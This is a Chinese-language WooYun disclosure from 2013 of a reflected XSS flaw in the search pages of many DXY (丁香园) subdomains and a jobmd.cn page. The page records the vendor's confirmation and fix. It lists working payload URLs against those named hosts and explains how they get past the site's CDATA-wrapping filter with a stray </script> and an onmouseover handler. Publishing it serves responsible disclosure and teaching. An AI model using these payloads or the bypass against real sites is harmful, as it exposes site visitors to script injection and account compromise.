当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020304

漏洞标题:丁香园全部子站某处反射型xss(附分析过程)

相关厂商:丁香园

漏洞作者: 梧桐雨

提交时间:2013-03-19 15:01

修复时间:2013-05-03 15:02

公开时间:2013-05-03 15:02

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-19: 细节已通知厂商并且等待厂商处理中
2013-03-19: 厂商已经确认,细节仅向厂商公开
2013-03-29: 细节向核心白帽子及相关领域专家公开
2013-04-08: 细节向普通白帽子公开
2013-04-18: 细节向实习白帽子公开
2013-05-03: 细节向公众公开

简要描述:

第一次发的时候又没过。。是分析的不彻底么?今天附上分析过程和结果,希望通过吧~

详细说明:

再发一次- -不给过俺就直接报给大辉了,虽然这个反射的xss影响很局限,但是我绝得发出来还是具有学习的参考价值的。
丁香园的搜索框是比较奇怪的,我遇到这么多搜索框,都是有对<>或者"等特殊字符进行过滤了。唯独有几个子站(很多啊,几乎影响全部)是没过滤的。
受影响的站点有:

http://meeting.dxy.cn/search.do?keywords=1><script/src="</script>alert(1)//" 
onmouseover="alert(1)////>
http://ihealth.dxy.cn/search.do?keywords=1><script/src="</script>alert(1)//"%
20onmouseover="alert(1)////>
http://heart.dxy.cn/search.do?keywords=1><script/src="</script>alert(1)//"%
20onmouseover="alert(1)////>
http://infect.dxy.cn/search.do?keywords=1><script/src="</script>alert(1)//"%
20onmouseover="alert(1)////>
http://endo.dxy.cn/search.do?keywords=1><script/src="</script>alert(1)//"%
20onmouseover="alert(1)////>
http://oncol.dxy.cn//search.do?keywords=1><script/src="</script>alert(1)//"%
20onmouseover="alert(1)////>
http://yao.dxy.cn/search.do?keywords=1%3E%3Cscript/src=%22%3C/script%3Ealert%281%29//%22%
20onmouseover=%22alert%281%29////%3E
http://6d.dxy.cn//search.do?keywords=1><script/src="</script>alert(1)//"%20onmouseover="alert(1)////>


都存在xss,可能我还没总结完,丁香园的同学还需要自查一下。
在搜索框输入<script>alert(1)</script>进行测试的时候。
发现过滤成了:<script><![CDATA[alert(1)]]></script>
当时摸索着,很难有突破,也不知道他的过滤方法是什么。直到后来,请教了某大牛,结合自己的总结,总算把代码给执行出来了。
需要配合onmouseover事件执行,比较鸡肋,但是受影响的子站众多,所以我给自评10rank
结合上文,我们知道,凡是没过滤特殊字符的过滤都是不完整的。因而,丁香园的程序员同样犯了这样的错误。因此,我们只需要构造我们只需要构造

><script/src="</script>alert(1)//"%20onmouseover="alert(1)////>

就能绕过限制。
其中,>是闭合,当然,这里的尖括号是没过滤的。不然就没办法执行<script>里的东西了。我们知道,在js中,</script>是具有最高优先级别的,是可以在任何时候都中断js代码,我不知道

<script><![CDATA[alert(1)]]></script>

里头的逻辑,我把他中断还不行么?最后,注释掉错误,配合alert,小窗口就出来了

漏洞证明:

123.jpg


再额外送上还有另一个地方的搜索处的XSS:
http://ent.jobmd.cn/search?keywords=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

1234.jpg

修复方案:

还是得好好过滤啊,不能走旁门左道:)
过滤方法:参考你们前面的几个搜索框的过滤吧。其他的问题暂时没发现。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-03-19 15:08

厂商回复:

感谢挖洞,火速修复中...

最新状态:

2013-03-19:已经修复. 感谢 @梧桐雨 大侠.